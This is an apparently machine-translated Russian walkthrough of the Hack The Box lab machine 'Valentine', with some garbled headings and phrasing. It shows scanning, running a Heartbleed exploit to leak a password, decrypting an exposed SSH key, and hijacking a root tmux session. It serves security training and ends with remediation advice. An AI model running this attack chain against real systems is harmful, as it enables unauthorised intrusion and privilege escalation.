
Содержание статьи
Hack The Box (HTB) – это онлайн-платформа, которая позволяет вам проверить свои навыки тестирования на проникновение.
Он содержит несколько постоянно обновляемых задач. Некоторые из них моделируют реальные сценарии, а некоторые больше склоняются к стилю CTF.
Примечание: Разрешается записывать только выписанные машины HTB.

Valentine – это легкая машина, которая сосредотачивается на уязвимости Heartbleed, которая имела разрушительное влияние на системы по всему миру.
Мы будем использовать такие инструменты, чтобы заложить ящик:
- Nmap
- Nmap Scripting Engine
- Gobuster
- Searchsploit
- xxd
- OpenSSL
- SSH
- tmux
Давайте начнем!
Шаг 1 – Разведка
Первым шагом перед использованием машины является небольшое сканирование и разведка.
Это одна из важнейших частей, поскольку она определит, что вы можете попытаться использовать его потом. Всегда лучше уделять этому этапу больше времени, чтобы получить как можно больше информации.
Сканирование портов
буду использовать Nmap (Маппер сети). Nmap — бесплатное приложение с открытым кодом для обнаружения сети и аудита безопасности.
Он использует необработанные IP-пакеты, чтобы определить, какие хосты доступны в сети, какие услуги эти хосты предлагают, какие операционные системы работают, какие типы фильтров пакетов/брандмауэров используются, а также десятки других характеристик.
Существует множество команд, которые можно использовать с этим инструментом для сканирования сети. Если вы хотите узнать больше об этом, вы можете просмотреть документацию здесь.

Я использую такую команду, чтобы выполнить интенсивное сканирование:
nmap -A -v 10.129.1.190

-А: Включает обнаружение ОС, определение версии, сканирование сценариев и трассировку
-v: Повышает уровень многословия
10.129.1.190: IP для валентинки
Мы видим, что есть 3 открытых порта:
- порт 22. Secure Shell (SSH), безопасные логины, передача файлов (scp, sftp) и переадресация портов.
- порт 80. Протокол передачи гипертекста (HTTP).
- порт 443. Защищен протокол передачи гипертекста (HTTPS).
Я также решил проверить имя хоста в базе данных уязвимостей Nmap с помощью этой команды:
nmap --script vuln 10.129.1.190

Nmap Scripting Engine (NSE) является одной из самых мощных и гибких функций Nmap. Он позволяет пользователям писать (и делиться) простые скрипты (с помощью языка программирования Lua) для автоматизации различных сетевых задач. Вы можете найти больше информации здесь.
Вы можете найти скрипты по ссылке:
/usr/share/nmap/scripts

Вы также можете искать конкретный сценарий с помощью grep команда. Больше информации о команде здесь.

Я смотрю на результаты и вижу, что коробка уязвима ssl-heartbleed:

Информационный раздел содержит несколько ссылок, чтобы узнать больше об уязвимости. Первая ссылка перенаправляется на МИТР Распространенные уязвимости и риски База данных.

Программа CVE определяет, определяет и каталогизирует публично раскрытые уязвимости кибербезопасности.
Есть еще одна ссылка, которая перенаправляет сообщения о безопасности OpenSSL.

Шаг 2 – Что Сердечное кровотечение Уязвимость?
Сердечное кровотечение это ошибка безопасности в библиотеке OpenSSL. Он был представлен в 2012 году и обнародован в апреле 2014 года.
Ошибка Heartbleed позволяет любому в Интернете читать память систем, защищенных уязвимыми версиями программного обеспечения OpenSSL. Это позволяет злоумышленникам подслушивать коммуникации, воровать данные непосредственно у служб и пользователей, а также выдавать себя за службы и пользователей. – Heartbleed.com
Вы можете узнать больше о Heartbleed на этом специальном веб-сайте здесь.

Также есть отличный веб-комикс xkcd

Шаг 3 – Посетите Вeb Пвозраст

С фазы разведки я решаю начать с порта 80. И получаю страницу с изображением. Я узнаю логотип Heartbleed с правой стороны.

Я смотрю на исходный код. Ничего интересного.

Я решаю бежать Gobuster. Gobuster – это сканер каталогов, написанный на Go. Вы можете найти больше информации об инструменте здесь.
Gobuster использует списки слов на коробке HTB Parrot, которые расположены в /usr/share/wfuzz/список слов/ каталог. Я использую «большой.txt«и»megabeast.txt» списки слов, но вы можете скачать больше списков слов из SecLists здесь.
Я использую эту команду для big.txt список слов:
gobuster dir -u 10.129.1.190 -w /usr/share/wfuzz/wordlist/general/big.txt -x php,html,txt
Я также сосредотачиваюсь на файлах .php, .txt и .html с файлами -x флажок (расширение).

Затем я использую эту команду для megabeast.txt список слов:
gobuster dir -u 10.129.1.190 -w /usr/share/wfuzz/wordlist/general/megabeast.txt -x php,html,txt

Это демонстрирует необходимость выбрать правильный список слов или запустить по крайней мере два разных списка слов, чтобы убедиться, что вы охватили как можно больше информации.
Есть пара отличных находок. Я начну с проверки /разв/ папку.

Есть два файла. Я проверяю содержание hype_key файл. Кажется, это шестнадцатеричное значение.

Другой файл, notes.txtэто перечень дел.

Я также нахожу декодер /декодировать.

и включен кодер /кодировать.

Шаг 4 – Расшифруйте ключ
Я возвращаюсь в свой терминал и копирую/вставляю содержимое файла hype_key на файле.

Я просматриваю содержимое, чтобы убедиться, что я все скопировал правильно:
cat hype.key

Я использую терминал для декодирования ключа, а точнее xxd. Больше информации об этой команде здесь. Я использую комбинацию -r -p для чтения простых шестнадцатеричных дампов без информации о номере строки и без конкретного макета столбцов.
Я использую команду:
cat hype.key | xxd -r -p
Выход an зашифрован Ключ RSA. Ключ RSA – это закрытый ключ, основанный на алгоритме RSA. Закрытый ключ используется для аутентификации и симметричного обмена ключами при установке сеанса SSL/TLS.

Я записываю результат в новый файл, hype_key.rsaиз:
cat hype.key | xxd -r -p > hype_key.rsa

Но без пароля этот ключ не слишком полезен. Посмотрим, сможем ли мы его найти!
Шаг 5 – Найдите эксплойт
На этапе разведки на Nmap и на веб-странице мы обнаружили, что машина была ранима или имеет ссылку на Heartbleed.
я использую Searchsploit чтобы проверить, есть ли какой-нибудь известный эксплойт. Searchsploit – это инструмент поиска командной строки для базы данных Exploit.
Я использую следующую команду:
searchsploit heartbleed

Есть несколько результатов. Я уйду с первым. Я получаю больше деталей об эксплойте с помощью:
searchsploit -x 32764.py


Вы также можете проверить Эксплойт базы данных чтобы найти тот же эксплойт, если вам не удобно читать документацию на терминале.

Я получаю больше информации с помощью:
searchsploit -p 32764.py

Я вижу, где он находится на коробке HTB Parrot. Копию файл в свой Валентина папка из:
cp /usr/share/exploitdb/exploits/multiple/remote/32764.py .
и я проверяю, был ли он скопирован в эту папку:
ls -la

Я переименую файл в heartbleed.py из:
mv 32764.py heartbleed.py

Затем я запускаю эксплойт с помощью такой команды:
python2 heartbleed.py 10.129.1.190

Информации много, но, прокручивая ее и глядя на правую сторону, я вижу интересную строчку:
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Это есть база 64. Давайте попробуем декодер, который мы нашли раньше /декодировать.

Я послал строку и получил назад пароль!
heartbleedbelievethehype

Вы можете также декодировать его на своем терминале с помощью следующей команды.
echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 --decode

Я пробую этот недавно найденный пароль на ключе RSA с помощью:
openssl rsa -in hype_key.rsa -out hype_key_decrypted.rsa
Я ввожу пароль, когда мне это предлагается.

С этапа разведки мы обнаружили открытый порт 22. Давайте SSH к машине. Я делаю обоснованные предположения по имени пользователя и решу продолжить ажиотаж поскольку я нашел это имя на ключе /разв папку
I SSH к машине из:
ssh -i hype_key_decrypted.rsa hype@10.129.1.190

И я теперь как пользователь ажиотаж.
Шаг 6 — Найдите флаг user.txt
Я начинаю переходить к /домой каталог.

Я продолжаю до /ажиотаж каталог.

И я нахожу пользовательский флаг! Я могу проверить содержимое файла с помощью:
cat user.txt

Шаг 7 — Посмотрите для root.txt Фотставание
Я возвращаюсь к / папку. Я не могу получить доступ к /корень каталог.

Я решаю вернуться в каталог hype и вижу, что .bash_history файл не является нулевым файлом.

Я кошачу его содержание из:
cat .bash_history
Оболочка bash сохраняет историю выполненных вами команд в файле истории вашей учетной записи пользователя по адресу ~/. bash_history по умолчанию.

Я вижу некоторые команды с помощью tmux.
tmux является терминальным мультиплексором с открытым кодом для операционных систем, подобных Unix. Это позволяет одновременно получить доступ к нескольким терминальным сеансам в одном окне. Это полезно для одновременного запуска более чем одной программы командной строки. Его также можно использовать для отсоединения процессов от управляющих терминалов, позволяя удаленным сеансам оставаться активными, не будучи видимыми. — Википедия
Больше информации здесь.
я бегу ps и можно увидеть, что tmux сеанс запущен как пользователь root:
ps aux | grep tmux

Я запустил команду для подключения к сеансу с полными правами root.
tmux -S /.devs/dev_sess

Теперь я root!

Я могу перейти к корень каталог. Я нахожу файл root.txt и проверяю его содержимое с помощью:
cat root.txt

Поздравляю! Вы нашли оба флага.
- Обновите до последней версии OpenSSL
- Замените все ключи и сертификаты на веб-серверах, чтобы уменьшить риски нарушения безопасности, а также отозвать старые
- Применяйте принцип наименьших привилегий ко всем вашим системам и службам
Не стесняйтесь задавать вопросы или делитесь с друзьями 🙂
Вы можете просмотреть больше статей из серии Сохраняйте спокойствие и сломайте коробку здесь.
Вы можете подписаться на меня в Twitter или LinkedIn.
И не забудьте #GetSecure#BeSecure & #Оставайтесь в безопасности!
